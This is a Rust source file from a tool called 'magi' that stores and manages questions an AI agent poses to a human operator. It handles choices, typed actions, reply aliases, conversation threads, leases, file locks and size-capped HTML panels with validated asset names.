1#[cfg(test)]
33thread_local! {
34 pub(crate) static QUESTION_SCANS: std::cell::Cell<usize> = const { std::cell::Cell::new(0) };
35}
36
37use std::path::{Path, PathBuf};
38use std::time::Duration;
39
40use anyhow::{Context, Result, bail};
41use jiff::Timestamp;
42use serde::{Deserialize, Serialize};
43
44use crate::config;
45use crate::proc::Quiet as _;
46use crate::run::RunStatus;
47
48pub const SCHEMA: u32 = 13;
71
72const POLL: Duration = Duration::from_secs(3);
81
82const REPLY_QUIET_WINDOW: Duration = Duration::from_secs(5 * 60);
93
94const NOTIFY_TIMEOUT: Duration = Duration::from_secs(20);
100
101const WAIT_SLICE: Duration = Duration::from_secs(240);
125
126pub const LEASE_TTL: Duration = Duration::from_secs(90);
136
137const LOCK_STALE: Duration = Duration::from_secs(10);
140
141pub const WEB_URL_ENV: &str = "MAGI_WEB_URL";
152
153pub const PANEL_MAX_BYTES: u64 = 8 * 1024 * 1024;
162
163const PANEL_DIR: &str = ".panel";
169
170const PANEL_HTML: &str = "index.html";
172
173const PANEL_TMP: &str = ".panel.tmp";
175
176pub fn valid_asset_name(name: &str) -> bool {
193 if name.is_empty() || name.len() > 64 || name.contains("..") {
194 return false;
195 }
196 let mut chars = name.chars();
197 chars.next().is_some_and(|c| c.is_ascii_alphanumeric())
198 && chars.all(|c| c.is_ascii_alphanumeric() || matches!(c, '.' | '_' | '-'))
199}
200
201#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
203#[serde(rename_all = "lowercase")]
204pub enum QuestionStatus {
205 Open,
207 Answered,
209 Abandoned,
213}
214
215impl QuestionStatus {
216 pub fn open(self) -> bool {
218 matches!(self, Self::Open)
219 }
220
221 pub fn as_str(self) -> &'static str {
223 match self {
224 Self::Open => "open",
225 Self::Answered => "answered",
226 Self::Abandoned => "abandoned",
227 }
228 }
229}
230
231#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
238#[serde(rename_all = "lowercase")]
239pub enum Answer {
240 Choice(String),
242 Text(String),
244}
245
246#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
254#[serde(tag = "do", rename_all = "lowercase")]
255pub enum ChoiceAction {
256 Resume {
258 run: String,
260 },
261 RecoverBase {
263 run: String,
265 stop: crate::chat_control::BaseRecoveryStop,
267 episode: usize,
269 },
270 ResumeRun {
272 run: String,
274 },
275 ReleaseTask {
277 task: String,
279 held_at: jiff::Timestamp,
281 reason: Option<String>,
283 },
284 RerunChecks {
286 repo: PathBuf,
288 pr: String,
290 head: String,
292 runs: Vec<String>,
294 },
295 AbandonRun {
297 run: String,
299 },
300 Requeue,
302 Hold,
304 Done,
306}
307
308impl ChoiceAction {
309 pub fn maintenance(&self) -> bool {
311 matches!(
312 self,
313 Self::RecoverBase { .. }
314 | Self::ResumeRun { .. }
315 | Self::ReleaseTask { .. }
316 | Self::RerunChecks { .. }
317 | Self::AbandonRun { .. }
318 )
319 }
320
321 pub fn parse(spec: &str, default_run: &str) -> Result<(String, Self)> {
326 let split = spec
327 .find("={")
328 .map(|at| (&spec[..at], &spec[at + 1..]))
329 .or_else(|| spec.rsplit_once('='));
330 let Some((label, verb)) = split else {
331 bail!("`--action {spec}` must look like `<choice>=<resume[:run]|requeue|hold|done>`");
332 };
333 let label = label.trim();
334 if label.is_empty() {
335 bail!("`--action {spec}` names no choice before `=`");
336 }
337 let verb = verb.trim();
338 if verb.starts_with('{') {
339 let action = serde_json::from_str(verb).context("parse typed choice action")?;
340 return Ok((label.to_owned(), action));
341 }
342 let action = match verb.split_once(':') {
343 Some(("resumerun", run)) if !run.trim().is_empty() => Self::ResumeRun {
344 run: run.trim().into(),
345 },
346 Some(("abandonrun", run)) if !run.trim().is_empty() => Self::AbandonRun {
347 run: run.trim().into(),
348 },
349 Some(("resume", run)) if !run.trim().is_empty() => Self::Resume {
350 run: run.trim().to_owned(),
351 },
352 None if verb == "resume" => {
353 if default_run.is_empty() {
354 bail!("`--action {spec}` names no run and MAGI_RUN is not set");
355 }
356 Self::Resume {
357 run: default_run.to_owned(),
358 }
359 }
360 None if verb == "requeue" => Self::Requeue,
361 None if verb == "hold" => Self::Hold,
362 None if verb == "done" => Self::Done,
363 _ => bail!(
364 "unknown action `{verb}` in `--action {spec}`; \
365 use resume[:<run>], requeue, hold or done"
366 ),
367 };
368 Ok((label.to_owned(), action))
369 }
370
371 pub fn matches_alias(&self, input: &str) -> bool {
374 let input = input.trim();
375 match self {
376 Self::Resume { run } => {
377 [
378 "resume",
379 "resume run",
380 "resume-run",
381 "再開",
382 "実行再開",
383 "実行を再開",
384 "実行を再開する",
385 ]
386 .iter()
387 .any(|alias| input.eq_ignore_ascii_case(alias))
388 || [
389 format!("resume {run}"),
390 format!("resume:{run}"),
391 format!("resume run {run}"),
392 format!("resume {}", short(run)),
393 format!("resume run {}", short(run)),
394 ]
395 .iter()
396 .any(|alias| input.eq_ignore_ascii_case(alias))
397 }
398 Self::Hold => ["hold", "keep-held", "keep held", "保留"]
399 .iter()
400 .any(|alias| input.eq_ignore_ascii_case(alias)),
401 _ => false,
402 }
403 }
404
405 pub fn describe(&self) -> String {
407 match self {
408 Self::Resume { run } => format!("resume run {}", short(run)),
409 Self::RecoverBase { run, .. } => format!(
410 "authorize bounded base recovery and queue run {}",
411 short(run)
412 ),
413 Self::ResumeRun { run } => format!("resume run {}", short(run)),
414 Self::ReleaseTask { task, .. } => format!("release held task {}", short(task)),
415 Self::RerunChecks { pr, .. } => format!("rerun failed checks of {pr} once"),
416 Self::AbandonRun { run } => format!("abandon proven stopped run {}", short(run)),
417 Self::Requeue => "requeue the task".to_owned(),
418 Self::Hold => "hold the task until the operator releases it".to_owned(),
419 Self::Done => "mark the task done".to_owned(),
420 }
421 }
422}
423
424pub fn parse_actions(
427 specs: &[String],
428 choices: &[String],
429 default_run: &str,
430) -> Result<std::collections::BTreeMap<String, ChoiceAction>> {
431 let mut out = std::collections::BTreeMap::new();
432 for spec in specs {
433 let (label, action) = ChoiceAction::parse(spec, default_run)?;
434 if !choices.contains(&label) {
435 bail!(
436 "`--action {spec}`: `{label}` is not one of the --choice values ({})",
437 choices.join(", ")
438 );
439 }
440 if out.insert(label.clone(), action).is_some() {
441 bail!("more than one --action for `{label}`");
442 }
443 }
444 Ok(out)
445}
446
447#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
458#[serde(rename_all = "lowercase")]
459pub enum Who {
460 Operator,
462 Agent,
465}
466
467#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
475#[serde(deny_unknown_fields)]
476pub struct Turn {
477 pub who: Who,
479 pub body: String,
481 pub at: Timestamp,
483 #[serde(default, skip_serializing_if = "Option::is_none")]
488 pub note: Option<String>,
489}
490
491#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
493#[serde(rename_all = "lowercase")]
494pub enum WaiterKind {
495 Asker,
497 Daemon,
500 Deputy,
504}
505
506#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
518pub struct Deputy {
519 pub brief: String,
522 #[serde(default)]
524 pub agent: String,
525 #[serde(default)]
527 pub seat: Option<crate::agent::SeatState>,
528 #[serde(default)]
531 pub starts: u32,
532}
533
534impl Deputy {
535 pub fn new(brief: String) -> Self {
537 Self {
538 brief,
539 agent: String::new(),
540 seat: None,
541 starts: 0,
542 }
543 }
544}
545
546pub fn deputy_seat_key(id: &str) -> String {
548 format!("deputy-{}", short(id))
549}
550
551#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
556pub struct Waiter {
557 pub kind: WaiterKind,
559 pub since: Timestamp,
561}
562
563#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
572pub struct Lease {
573 pub kind: WaiterKind,
575 pub pid: u32,
577 pub beat_at: Timestamp,
579}
580
581impl Lease {
582 pub fn fresh(&self, now: Timestamp) -> bool {
584 now.as_second() - self.beat_at.as_second() <= LEASE_TTL.as_secs() as i64
585 }
586}
587
588#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
590#[serde(deny_unknown_fields)]
591pub struct Question {
592 pub schema: u32,
594 pub id: String,
597 pub run: String,
599 pub node: String,
601 pub seat: String,
604 pub summary: String,
607 pub detail: String,
610 #[serde(default, skip_serializing_if = "Option::is_none")]
612 pub posting_comparison: Option<crate::github_text::PostingComparison>,
613 pub choices: Vec<String>,
617 #[serde(default)]
619 pub merge_target: Option<crate::merge_decision::Target>,
620 #[serde(default)]
622 pub routed_task: Option<String>,
623 #[serde(default, skip_serializing_if = "std::ops::Not::not")]
626 pub legacy_foreground: bool,
627 #[serde(default)]
629 pub routed_chat: Option<String>,
630 #[serde(default, skip_serializing_if = "Option::is_none")]
633 pub publication_title: Option<String>,
634 #[serde(default)]
638 pub actions: std::collections::BTreeMap<String, ChoiceAction>,
639 #[serde(default)]
646 pub panel: bool,
647 #[serde(default)]
654 pub assets: Vec<String>,
655 pub status: QuestionStatus,
657 pub asked_at: Timestamp,
659 #[serde(default)]
661 pub triage_generation: Option<u64>,
662 pub answered_at: Option<Timestamp>,
664 #[serde(default, skip_serializing_if = "Option::is_none")]
667 pub accepted_answer_at: Option<Timestamp>,
668 pub answer: Option<Answer>,
670 #[serde(default)]
679 pub thread: Vec<Turn>,
680 #[serde(default)]
695 pub answer_timeout: u64,
696 #[serde(default)]
702 pub cwd: Option<String>,
703 #[serde(default)]
705 pub waiter: Option<Waiter>,
706 #[serde(default)]
710 pub delivered_turns: usize,
711 #[serde(default)]
714 pub answer_delivered: bool,
715 #[serde(default)]
718 pub deputy: Option<Deputy>,
719 #[serde(default)]
723 pub consult: Option<ChatConsult>,
724 #[serde(default, skip_serializing_if = "Option::is_none")]
730 pub answer_authority: Option<LegacyAnswerAuthority>,
731 #[serde(default, skip_serializing_if = "Option::is_none")]
733 pub consult_outcome: Option<crate::consult::ConsultOutcome>,
734 #[serde(default)]
737 pub decision_context: Option<String>,
738}
739
740#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
742pub struct ChatConsult {
743 pub talk: String,
745 pub at: Timestamp,
747}
748
749#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
753pub struct LegacyAnswerAuthority {
754 pub question: String,
756 pub choice: String,
758 pub instruction: String,
760}
761
762impl Question {
763 pub fn run_names_task(&self) -> bool {
766 matches!(
767 self.node.as_str(),
768 crate::conduct::NODE | crate::triage::NODE | crate::triage::DEPS_NODE
769 )
770 }
771
772 pub fn new(
775 run: String,
776 node: String,
777 seat: String,
778 summary: String,
779 detail: String,
780 choices: Vec<String>,
781 ) -> Self {
782 Self {
783 schema: SCHEMA,
784 id: new_id(),
785 run,
786 node,
787 seat,
788 summary,
789 detail,
790 posting_comparison: None,
791 choices,
792 merge_target: None,
793 routed_task: None,
794 legacy_foreground: false,
795 routed_chat: None,
796 publication_title: None,
797 actions: std::collections::BTreeMap::new(),
798 panel: false,
799 assets: Vec::new(),
800 status: QuestionStatus::Open,
801 asked_at: Timestamp::now(),
802 triage_generation: None,
803 answered_at: None,
804 accepted_answer_at: None,
805 answer: None,
806 thread: Vec::new(),
807 answer_timeout: 0,
808 cwd: None,
809 waiter: None,
810 delivered_turns: 0,
811 answer_delivered: false,
812 deputy: None,
813 consult: None,
814 answer_authority: None,
815 consult_outcome: None,
816 decision_context: None,
817 }
818 }
819
820 pub fn short(&self) -> &str {
822 short(&self.id)
823 }
824
825 pub fn chosen_action(&self) -> Option<&ChoiceAction> {
828 match (&self.status, &self.answer) {
829 (QuestionStatus::Answered, Some(Answer::Choice(c))) => self.actions.get(c),
830 _ => None,
831 }
832 }
833
834 pub fn free_text(&self) -> bool {
836 self.choices.is_empty()
837 }
838
839 pub fn reply_guidance(&self) -> String {
842 self.choices
843 .iter()
844 .map(|label| {
845 let aliases: Vec<_> = ["resume-run", "keep-held"]
846 .into_iter()
847 .filter(|alias| self.resolve_reply(alias).ok() == Some(label.as_str()))
848 .collect();
849 let exact = serde_json::to_string(label).expect("serialize label");
850 let reply = if aliases.is_empty() {
851 format!("exact label: {exact}")
852 } else {
853 format!(
854 "exact label: {exact}; accepted aliases: {}",
855 aliases.join(", ")
856 )
857 };
858 match self.actions.get(label) {
859 Some(action) => {
860 format!("{reply}; effect (not reply text): {}", action.describe())
861 }
862 None => reply,
863 }
864 })
865 .collect::<Vec<_>>()
866 .join("\n")
867 }
868
869 pub fn resolve_reply<'a>(&'a self, reply: &'a str) -> Result<&'a str> {
872 if self.free_text() || self.choices.iter().any(|c| c == reply) {
873 return Ok(reply);
874 }
875 if ChoiceAction::Hold.matches_alias(reply)
876 && let Some(label) = self
877 .choices
878 .iter()
879 .find(|label| crate::triage::contextual_keep_held(self, label))
880 {
881 return Ok(label);
882 }
883 let matches: Vec<_> = self
884 .actions
885 .iter()
886 .filter(|(label, action)| self.choices.contains(label) && action.matches_alias(reply))
887 .collect();
888 match matches.as_slice() {
889 [(label, _)] => Ok(label.as_str()),
890 [] => bail!(
891 "alias mismatch with offered choices: `{reply}` is not an offered label or supported action alias; exact labels: {}; inspect `magi answer --list`, copy the intended offered label verbatim into --reply, and retry once (action descriptions and bracketed annotations are not reply values)",
892 serde_json::to_string(&self.choices).expect("serialize labels")
893 ),
894 _ => bail!(
895 "ambiguous action alias: `{reply}` matches multiple choices; select the intended offered label"
896 ),
897 }
898 }
899
900 pub fn answer(&mut self, answer: Answer) -> Result<()> {
910 self.answer_inner(answer)
911 }
912
913 pub fn can_answer(&self) -> bool {
915 self.status.open()
916 }
917
918 pub(crate) fn answer_chat_button(
920 &mut self,
921 answer: Answer,
922 talk: &str,
923 head: &str,
924 ) -> Result<()> {
925 anyhow::ensure!(
926 self.routed_chat.as_deref() == Some(talk),
927 "wrong approval chat"
928 );
929 anyhow::ensure!(
930 self.merge_target.as_ref().is_some_and(|t| t.head == head),
931 "stale approval head"
932 );
933 self.answer_inner(answer)
934 }
935
936 fn answer_inner(&mut self, answer: Answer) -> Result<()> {
937 match (self.can_answer(), self.status) {
938 (false, QuestionStatus::Answered) => bail!(
939 "question {} was already answered; the run has moved on and a \
940 second answer would be a decision nobody acted on",
941 self.short()
942 ),
943 (false, QuestionStatus::Abandoned) => bail!(
944 "question {} was abandoned and the run behind it is gone",
945 self.short()
946 ),
947 _ => {}
948 }
949 let body = match &answer {
950 Answer::Choice(c) | Answer::Text(c) => c.as_str(),
951 };
952 if body.trim().is_empty() {
953 bail!(
954 "question {} needs an answer; an empty one tells the agent \
955 nothing and it would guess anyway",
956 self.short()
957 );
958 }
959 match &answer {
960 Answer::Choice(c) if self.free_text() => bail!(
961 "question {} asks for free text, so `{c}` cannot be a choice \
962 it offered",
963 self.short()
964 ),
965 Answer::Choice(c) if !self.choices.iter().any(|o| o == c) => bail!(
966 "`{c}` is not one of the choices question {} offers: {}",
967 self.short(),
968 self.choices.join(", ")
969 ),
970 Answer::Text(_) if !self.free_text() => bail!(
971 "question {} is multiple choice; answer with one of: {}",
972 self.short(),
973 self.choices.join(", ")
974 ),
975 _ => {}
976 }
977 if body.eq_ignore_ascii_case(crate::land::HOLD)
980 && self
981 .actions
982 .get(body)
983 .is_some_and(|a| *a != ChoiceAction::Hold)
984 {
985 bail!("hold cannot execute a question action");
986 }
987 self.answered_at = Some(Timestamp::now());
988 self.answer = Some(answer);
989 self.status = QuestionStatus::Answered;
990 Ok(())
991 }
992
993 pub fn abandon(&mut self, why: impl Into<String>) {
1005 if !self.status.open() {
1006 return;
1007 }
1008 self.status = QuestionStatus::Abandoned;
1009 let why = why.into();
1010 let why = why.trim();
1011 if why.is_empty() {
1012 return;
1013 }
1014 if !self.detail.is_empty() {
1015 self.detail.push('\n');
1016 }
1017 self.detail.push_str("\n_Abandoned: ");
1018 self.detail.push_str(why);
1019 self.detail.push_str("._\n");
1020 }
1021
1022 pub fn resolution(&self) -> Option<String> {
1029 match (self.status, &self.answer) {
1030 (QuestionStatus::Answered, Some(Answer::Choice(a) | Answer::Text(a))) => {
1031 Some(a.clone())
1032 }
1033 _ => None,
1034 }
1035 }
1036
1037 pub fn settle_by_deputy(&mut self, seat: &str, label: &str, note: Option<&str>) -> Result<()> {
1049 if self.routed_task.is_some() {
1050 bail!("task decisions are handled by the task chat, not a deputy");
1051 }
1052 let Some(deputy) = &self.deputy else {
1053 bail!("question {} has no deputy", self.short());
1054 };
1055 let own = deputy.seat.as_ref().map(|s| s.key.as_str());
1056 if own != Some(seat) {
1057 bail!("only the deputy of question {} may settle it", self.short());
1058 }
1059 if !self.choices.iter().any(|c| c == label) {
1060 bail!(
1061 "`{label}` is not one of the choices offered on question {}",
1062 self.short()
1063 );
1064 }
1065 self.answer(Answer::Choice(label.to_owned()))?;
1066 self.thread.push(Turn {
1067 who: Who::Agent,
1068 body: format!("Settled as `{label}` on the owner's words."),
1069 at: Timestamp::now(),
1070 note: note
1071 .map(str::trim)
1072 .filter(|n| !n.is_empty())
1073 .map(str::to_owned),
1074 });
1075 self.delivered_turns = self.thread.len();
1076 Ok(())
1077 }
1078
1079 pub fn say(&mut self, body: impl Into<String>) -> Result<()> {
1090 match self.status {
1091 QuestionStatus::Answered => bail!(
1092 "question {} was already answered; there is nothing left to \
1093 discuss",
1094 self.short()
1095 ),
1096 QuestionStatus::Abandoned => bail!(
1097 "question {} was abandoned and the run behind it is gone",
1098 self.short()
1099 ),
1100 QuestionStatus::Open => {}
1101 }
1102 let body = body.into();
1103 if body.trim().is_empty() {
1104 bail!("a message to question {} cannot be empty", self.short());
1105 }
1106 self.thread.push(Turn {
1107 who: Who::Operator,
1108 body,
1109 at: Timestamp::now(),
1110 note: None,
1111 });
1112 Ok(())
1113 }
1114
1115 pub fn reply(&mut self, body: impl Into<String>, choices: Vec<String>) -> Result<()> {
1125 match self.status {
1126 QuestionStatus::Answered => bail!(
1127 "question {} was already answered; replying now would not \
1128 reach anyone",
1129 self.short()
1130 ),
1131 QuestionStatus::Abandoned => bail!(
1132 "question {} was abandoned and the run behind it is gone",
1133 self.short()
1134 ),
1135 QuestionStatus::Open => {}
1136 }
1137 let body = body.into();
1138 if body.trim().is_empty() {
1139 bail!("a reply to question {} cannot be empty", self.short());
1140 }
1141 self.actions.retain(|label, _| choices.contains(label));
1143 self.choices = choices;
1144 let unread = self.unread_from_owner().is_some();
1145 self.thread.push(Turn {
1146 who: Who::Agent,
1147 body,
1148 at: Timestamp::now(),
1149 note: None,
1150 });
1151 if !unread {
1155 self.delivered_turns = self.thread.len();
1156 }
1157 Ok(())
1158 }
1159
1160 pub fn unread_from_owner(&self) -> Option<String> {
1167 if !self.status.open() {
1168 return None;
1169 }
1170 let said = self.undelivered_owner_turns();
1171 (!said.is_empty()).then(|| said.join("\n\n"))
1172 }
1173
1174 pub fn undelivered_owner_turns(&self) -> Vec<&str> {
1180 let from = self.delivered_turns.min(self.thread.len());
1181 self.thread[from..]
1182 .iter()
1183 .filter(|t| t.who == Who::Operator)
1184 .map(|t| t.body.as_str())
1185 .collect()
1186 }
1187
1188 pub fn last_activity(&self) -> i64 {
1192 self.thread
1193 .iter()
1194 .map(|t| t.at.as_second())
1195 .max()
1196 .unwrap_or(0)
1197 .max(self.asked_at.as_second())
1198 }
1199
1200 pub fn waiting_on_agent(&self) -> bool {
1209 self.status.open() && matches!(self.thread.last(), Some(t) if t.who == Who::Operator)
1210 }
1211
1212 fn should_notify(&self, now: Timestamp) -> bool {
1220 let Some(last) = self
1221 .thread
1222 .iter()
1223 .rev()
1224 .find(|t| t.who == Who::Operator)
1225 .map(|t| t.at)
1226 else {
1227 return true;
1228 };
1229 now.as_second() - last.as_second() > REPLY_QUIET_WINDOW.as_secs() as i64
1230 }
1231}
1232
1233#[derive(Debug, Clone)]
1235pub struct Questions {
1236 root: PathBuf,
1237}
1238
1239impl Questions {
1240 pub fn open() -> Self {
1242 Self::at(crate::run::home().join("questions"))
1243 }
1244
1245 pub fn at(root: PathBuf) -> Self {
1248 Self { root }
1249 }
1250
1251 pub fn root(&self) -> &Path {
1253 &self.root
1254 }
1255
1256 pub fn path_of(&self, id: &str) -> PathBuf {
1258 self.root.join(format!("{id}.json"))
1259 }
1260
1261 pub fn panel_dir(&self, id: &str) -> PathBuf {
1263 self.root.join(format!("{id}{PANEL_DIR}"))
1264 }
1265
1266 pub fn put_panel(&self, q: &mut Question, html: &str, assets: &[PathBuf]) -> Result<()> {
1290 if !valid_asset_name(&q.id) {
1291 bail!(
1292 "question id `{}` is not a name magi will build a panel path from",
1293 q.id
1294 );
1295 }
1296 if html.trim().is_empty() {
1297 bail!(
1298 "question {} was handed an empty panel; an empty frame reads to \
1299 the owner as \"the agent had nothing to say\", which is a lie",
1300 q.short()
1301 );
1302 }
1303
1304 let mut named: Vec<(String, &Path)> = Vec::with_capacity(assets.len());
1307 for src in assets {
1308 let name = src.file_name().and_then(|n| n.to_str()).unwrap_or_default();
1309 if !valid_asset_name(name) {
1310 bail!(
1311 "panel asset `{}` cannot be stored: a panel file name must \
1312 match ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`",
1313 src.display()
1314 );
1315 }
1316 if let Some((_, first)) = named.iter().find(|(n, _)| n == name) {
1317 bail!(
1318 "two panel assets are both named `{name}` - {} and {} - and \
1319 the panel can only show one of them; rename one at the source",
1320 first.display(),
1321 src.display()
1322 );
1323 }
1324 named.push((name.to_owned(), src.as_path()));
1325 }
1326
1327 let mut total = html.len() as u64;
1328 for (_, src) in &named {
1329 let meta = std::fs::metadata(src)
1330 .with_context(|| format!("stat panel asset {}", src.display()))?;
1331 if !meta.is_file() {
1332 bail!(
1333 "panel asset `{}` is not a file; a panel is html plus files \
1334 copied beside it",
1335 src.display()
1336 );
1337 }
1338 total = total.saturating_add(meta.len());
1339 }
1340 if total > PANEL_MAX_BYTES {
1341 bail!(
1342 "panel for question {} is {total} bytes, over magi's cap of \
1343 {PANEL_MAX_BYTES} bytes; nothing was written",
1344 q.short()
1345 );
1346 }
1347
1348 let tmp = self.root.join(format!("{}{PANEL_TMP}", q.id));
1349 let dir = self.panel_dir(&q.id);
1350 std::fs::create_dir_all(&self.root)
1351 .with_context(|| format!("create {}", self.root.display()))?;
1352 clear_dir(&tmp)?;
1353 std::fs::create_dir(&tmp).with_context(|| format!("create {}", tmp.display()))?;
1354 if let Err(e) = fill_panel(&tmp, html, &named) {
1355 let _ = std::fs::remove_dir_all(&tmp);
1358 return Err(e);
1359 }
1360 clear_dir(&dir)?;
1361 std::fs::rename(&tmp, &dir)
1362 .with_context(|| format!("move panel into {}", dir.display()))?;
1363
1364 q.panel = true;
1365 q.assets = named.into_iter().map(|(n, _)| n).collect();
1366 q.assets.sort_unstable();
1367 Ok(())
1368 }
1369
1370 pub fn panel_html(&self, id: &str) -> Option<String> {
1376 if !valid_asset_name(id) {
1377 return None;
1378 }
1379 std::fs::read_to_string(self.panel_dir(id).join(PANEL_HTML)).ok()
1380 }
1381
1382 pub fn panel_asset(&self, id: &str, name: &str) -> Result<Option<Vec<u8>>> {
1393 if !valid_asset_name(name) {
1394 bail!(
1395 "`{name}` is not a panel file name; it must match \
1396 ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`"
1397 );
1398 }
1399 if !valid_asset_name(id) {
1400 return Ok(None);
1401 }
1402 let dir = self.panel_dir(id);
1403 if !dir.is_dir() {
1404 return Ok(None);
1405 }
1406 let path = dir.join(name);
1407 match std::fs::read(&path) {
1408 Ok(bytes) => Ok(Some(bytes)),
1409 Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(None),
1410 Err(e) => Err(e).with_context(|| format!("read {}", path.display())),
1411 }
1412 }
1413
1414 pub fn drop_panel(&self, id: &str) -> Result<()> {
1423 if !valid_asset_name(id) {
1424 bail!("question id `{id}` is not a name magi will build a panel path from");
1425 }
1426 clear_dir(&self.panel_dir(id))?;
1427 clear_dir(&self.root.join(format!("{id}{PANEL_TMP}")))
1428 }
1429
1430 pub fn lease_path(&self, id: &str) -> PathBuf {
1432 self.root.join(format!("{id}.lease"))
1433 }
1434
1435 pub fn read_lease(&self, id: &str) -> Option<Lease> {
1437 let body = std::fs::read_to_string(self.lease_path(id)).ok()?;
1438 serde_json::from_str(&body).ok()
1439 }
1440
1441 pub fn beat(&self, id: &str, kind: WaiterKind) {
1448 let lease = Lease {
1449 kind,
1450 pid: std::process::id(),
1451 beat_at: Timestamp::now(),
1452 };
1453 let path = self.lease_path(id);
1454 let tmp = path.with_extension("lease.tmp");
1455 let written = std::fs::create_dir_all(&self.root)
1456 .and_then(|()| std::fs::write(&tmp, serde_json::to_string(&lease).unwrap_or_default()))
1457 .and_then(|()| std::fs::rename(&tmp, &path));
1458 if let Err(e) = written {
1459 tracing::debug!("could not beat the lease on question {id}: {e}");
1460 }
1461 }
1462
1463 pub fn drop_lease(&self, id: &str) {
1465 let _ = std::fs::remove_file(self.lease_path(id));
1466 }
1467
1468 pub fn update<T>(
1479 &self,
1480 id: &str,
1481 f: impl FnOnce(&mut Question) -> Result<T>,
1482 ) -> Result<(Question, T)> {
1483 self.update_in(id, &crate::task_chat::InquiryOwnership::default(), f)
1484 }
1485
1486 pub(crate) fn update_in<T>(
1487 &self,
1488 id: &str,
1489 ownership: &crate::task_chat::InquiryOwnership,
1490 f: impl FnOnce(&mut Question) -> Result<T>,
1491 ) -> Result<(Question, T)> {
1492 std::fs::create_dir_all(&self.root)
1493 .with_context(|| format!("create {}", self.root.display()))?;
1494 let lock = self.root.join(format!("{id}.lock"));
1495 let started = std::time::Instant::now();
1496 let retry = crate::lock_file::Retry::new(Some(started + LOCK_STALE));
1497 loop {
1498 match retry.create(&lock) {
1499 Ok(_) => break,
1500 Err(e) if e.kind() == std::io::ErrorKind::AlreadyExists => {
1501 let stale = std::fs::metadata(&lock)
1502 .and_then(|m| m.modified())
1503 .ok()
1504 .and_then(|t| t.elapsed().ok())
1505 .is_some_and(|age| age > LOCK_STALE);
1506 if stale {
1507 let _ = std::fs::remove_file(&lock);
1508 } else if started.elapsed() > LOCK_STALE {
1509 bail!("could not lock question {id}");
1510 } else {
1511 std::thread::sleep(Duration::from_millis(15));
1512 }
1513 }
1514 Err(e) => return Err(e).with_context(|| format!("lock {}", lock.display())),
1515 }
1516 }
1517 struct Unlock(PathBuf);
1518 impl Drop for Unlock {
1519 fn drop(&mut self) {
1520 let _ = std::fs::remove_file(&self.0);
1521 }
1522 }
1523 let _guard = Unlock(lock);
1524 let mut q = read_path(&self.path_of(id))?;
1525 let effective_dismissal = |q: &Question| {
1526 q.resolution().as_deref() == Some(crate::merge_decision::DISMISS)
1527 && !self.root.parent().is_some_and(|home| {
1528 crate::task_chat::migrated_source_in(home, &q.id, ownership)
1529 && crate::task_chat::source_reply_needs_confirmation(home, q)
1530 })
1531 };
1532 let was_dismissed = effective_dismissal(&q);
1533 let prior_answer = (q.answered_at, q.resolution());
1534 let out = f(&mut q)?;
1535 if q.resolution().is_some() && prior_answer != (q.answered_at, q.resolution()) {
1536 let home = self.root.parent().context("question store has no home")?;
1537 q.accepted_answer_at = q.answered_at;
1538 crate::task_chat::accept_fresh_reply(home, &q, ownership)?;
1539 }
1540 if !was_dismissed && effective_dismissal(&q) {
1541 let home = self.root.parent().context("question store has no home")?;
1542 crate::merge_decision::dismiss(home, &q)?;
1543 }
1544 self.put_in(&mut q, ownership)?;
1545 Ok((q, out))
1546 }
1547
1548 pub fn put_executable(&self, q: &mut Question) -> Result<()> {
1551 self.put_executable_in(q, &crate::task_chat::InquiryOwnership::default())
1552 }
1553
1554 pub(crate) fn put_executable_in(
1555 &self,
1556 q: &mut Question,
1557 ownership: &crate::task_chat::InquiryOwnership,
1558 ) -> Result<()> {
1559 anyhow::ensure!(
1560 q.actions.keys().all(|c| q.choices.contains(c)),
1561 "question action names an unoffered choice"
1562 );
1563 for label in &q.choices {
1564 anyhow::ensure!(
1565 crate::choice_effect::describe(q, label).is_some(),
1566 "question node {} offers an unsupported choice: {label}",
1567 q.node
1568 );
1569 }
1570 self.put_in(q, ownership)
1571 }
1572
1573 pub fn put(&self, q: &mut Question) -> Result<()> {
1577 self.put_in(q, &crate::task_chat::InquiryOwnership::default())
1578 }
1579
1580 pub(crate) fn put_in(
1581 &self,
1582 q: &mut Question,
1583 ownership: &crate::task_chat::InquiryOwnership,
1584 ) -> Result<()> {
1585 if self.path_of(&q.id).exists()
1586 && let Ok(saved) = self.read_history(&q.id)
1587 && self.held_reply_in(&q.id, ownership)
1588 && (saved.status != q.status
1589 || saved.answer != q.answer
1590 || saved.answered_at != q.answered_at)
1591 && !(q.answer.is_some()
1592 && q.accepted_answer_at.is_some()
1593 && q.accepted_answer_at == q.answered_at)
1594 {
1595 bail!(
1596 "historical question {} requires inquiry reconciliation or explicit settlement; its saved reply cannot expire or be overwritten",
1597 q.id
1598 );
1599 }
1600 if q.status.open()
1601 && q.routed_task.is_none()
1602 && let Some(home) = self.root.parent()
1603 {
1604 q.routed_task = ownership
1605 .task_of(home, q)
1606 .filter(|_| crate::task_chat::chat_routable(q));
1607 }
1608 std::fs::create_dir_all(&self.root)
1609 .with_context(|| format!("create {}", self.root.display()))?;
1610 let body = serde_json::to_string_pretty(q).context("serialize question")?;
1611 let path = self.path_of(&q.id);
1612 let tmp = path.with_extension("json.tmp");
1613 let is_new = !path.exists();
1614 std::fs::write(&tmp, &body).with_context(|| format!("write {}", tmp.display()))?;
1615 std::fs::rename(&tmp, &path).with_context(|| format!("replace {}", path.display()))?;
1616 if is_new
1619 && q.status.open()
1620 && q.node != crate::bump::NOTICE_NODE
1621 && let Some(home) = self.root.parent().filter(|p| !p.as_os_str().is_empty())
1622 {
1623 crate::notices::quiet_for(home, q);
1624 }
1625 Ok(())
1626 }
